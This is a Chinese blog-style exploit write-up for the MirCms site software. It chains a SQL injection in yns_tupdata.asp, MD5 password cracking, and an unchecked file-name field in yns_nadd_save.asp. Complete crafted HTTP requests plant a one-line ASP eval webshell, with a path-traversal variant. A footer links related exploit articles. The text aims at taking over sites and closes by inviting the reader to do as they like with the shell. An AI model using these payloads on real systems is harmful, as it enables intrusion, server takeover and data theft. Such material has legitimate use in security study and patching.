进一步取得MirCms传奇的WebShell

所属分类: 实用技巧 / 漏洞研究 阅读数: 574
收藏 0 赞 0 分享

在黑防的2005年第6期中,小狮子写了关于MirCms中投票子系统的漏洞,阅读以后觉得该系统既然存在像登录验证错误这样的漏洞就应该还存在其他的可以更进一步利用的漏洞。本文就利用该系统中的这些漏洞取得其WebShell。 

一、取得管理员账号和密码。 
网站根目录下的yns_tupdata.asp中存在SQL注入漏洞,我们利用其可以获取管理员的账号和密码,看下面的代码片断。 
If (Request.QueryString("t_id") <> "") Then  
rst__MMColParam = Request.QueryString("t_id") 
End If 
…… 
rst.Source = "SELECT * FROM t_type WHERE t_id = " + Replace(rst__MMColParam, "’", "’’") + "" 
变量t_id仅过滤了单引号就送到了SQL语句中,这样我们就可以使用 1 or 1=1的形式进行注入,打开NBSI输入注入地址http://xxx/yns_tupdata.asp?t_id=1 or 1=1,由于在网上就可以down到该系统的源代码,也就省去了我们猜表名和列名的过程,猜解以后我们就可以得到一些管理员的用户名和密码。 
由于密码是MD5加密的,而且后台还是Session验证,所以我们只能老老实实的去破解它的原始密码,至于破解MD5我们可以挂个常用密码的字典跑一遍,然后就看你的运气喽^_^这里我就得到了一个账号<如果云知道>的密码49ba59abbe56e057=〉123456,OK!就用这账号登录后台。(注:我们只需要得到level为1的账号就够用了,而且一般这种等级的账号密码比较简单^_^) 
二、进一步取得WebShell 
还是让我们先看一下yns_nadd_save.asp中的代码片断 
mm_path = server.MapPath((rst.Fields.Item("t_dir").Value)&"/"&(rsts.Fields.Item("ts_dir").Value)&"/" 
&request.Form("n_fpath")&"/"&request.Form("n_fname")) 
… 
Set fout = fso.CreateTextFile(mm_path) 
fout.WriteLine pencat 
fout.close 
程序从表单中取得n_fname后没有进行任何的扩展名检查就合成了mm_path变量,然后利用fso函数生成了以n_fname为文件名的文件,这样只要我们修改n_fname的值为 xxx.asp就可以很简单的在服务器上生成一个ASP木马,然后我们再看看这个文件的内容是怎么生成的, 
N_Title=Request.Form("n_title") 
… 
mm_template_path = server.MapPath("templates/type_template/type_son_template/detail_template.htm") 
… 
set fso_line = fso.opentextfile(mm_template_path,1,True)  
pencat=fso_line.readall 
end if 
pencat=replace(pencat,"t_title",n_title) 
从上面我们可以知道程序是将detail_template.htm中的内容读入,然后替换相关变量,最后得到生成文件的内容,这里我们就利用t_title这个替换变量来写入我们的ASP木马代码。我们来试一下,打开WinSock Expert在后台填加一篇文章,抓包内容如下: 
POST /yns_nadd_save.asp HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/ 
vnd.ms-powerpoint, application/msword, */* 
Referer: http://xxx/MirCMS_Add.asp 
Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) 
Host:xxx.net 
Content-Length:199 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF 

n_tid=52&n_tsid=56&n_sid=&n_title=test&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=20053151744366646.htm&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1 
这里我们将n_fname的值改成1.asp,然后将n_title的值改成我们常用的一句话木马,注意写入的ASP代码需要使用unicode编码以后的形式。<SCRIPT%20RUNAT=SERVER%20LANGUAGE= 
JAVASCRIPT>eval(Request.form(’#’)%2B’’)</SCRIPT>,最后不要忘了重新计算封包的大小更改Content-Length的值,这部分知识在研究动网上传漏洞的时候想必大家都已经研究明白了吧,下面就直接给出我的修改结果。 
POST /yns_nadd_save.asp HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/ 
vnd.ms-powerpoint, application/msword, */* 
Referer: http://xxx/MirCMS_Add.asp 
Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) 
Host:xxx.net 
Content-Length: 261 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF 

n_tid=52&n_tsid=56&n_sid=&n_title=<SCRIPT%20RUNAT=SERVER%20LANGUAGE=JAVASCRIPT>eval(Request.form(’#’)%2B’’)</SCRIPT>&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=1.asp&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1 
最后使用NC提交我们修改后的封包,到MirCMS_Html/xxx/年-月-日/下就可以找到我们的木马了,当然如果网站的管理员比较BT的话可能会设置MirCMS_Html目录下无法运行ASP文件,不过没有关系,我们只需把n_fname的值改成../../1.asp切换到根目录下就可以了,有了WebShell剩下的事情大家就可以看着办喽^_^ 

更多精彩内容其他人还在看

MySQL Proxy(解决注入的另一思路)

MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。
收藏 0 赞 0 分享

phpwind管理权限泄露漏洞利用程序发布

phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
收藏 0 赞 0 分享

分析NtGodMode.exe干了什么

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0 这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1 为什么mov al,1,以后就不用密码了?
收藏 0 赞 0 分享

伯乐asp收信程序漏洞及利用程序利用代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 文章作者:fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑
收藏 0 赞 0 分享

字符集导致的浏览器跨站脚本攻击分析

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
收藏 0 赞 0 分享

Search Engine XSS Worm

作者:余弦 来源:0x37 Security 有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。
收藏 0 赞 0 分享

CPU也有远程攻击漏洞 英特尔匆匆修补

BEAREYES.COM 北京 [ 翻译 ] 作者:1000years 日期:2008年08月12日
收藏 0 赞 0 分享

暂时屏蔽 IE 最新 0day的4 种方法

IE 最新 0day 波及了微软全线系统居然在2008年12月14日8:00:15还没有出补丁!我查看微软站点,好像有几个手动操作的办法暂时屏蔽。
收藏 0 赞 0 分享

Sql Server 应用程序的高级Sql注入第1/2页

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。
收藏 0 赞 0 分享

ASP木马后门新思路

ASP木马后门新思路
收藏 0 赞 0 分享
查看更多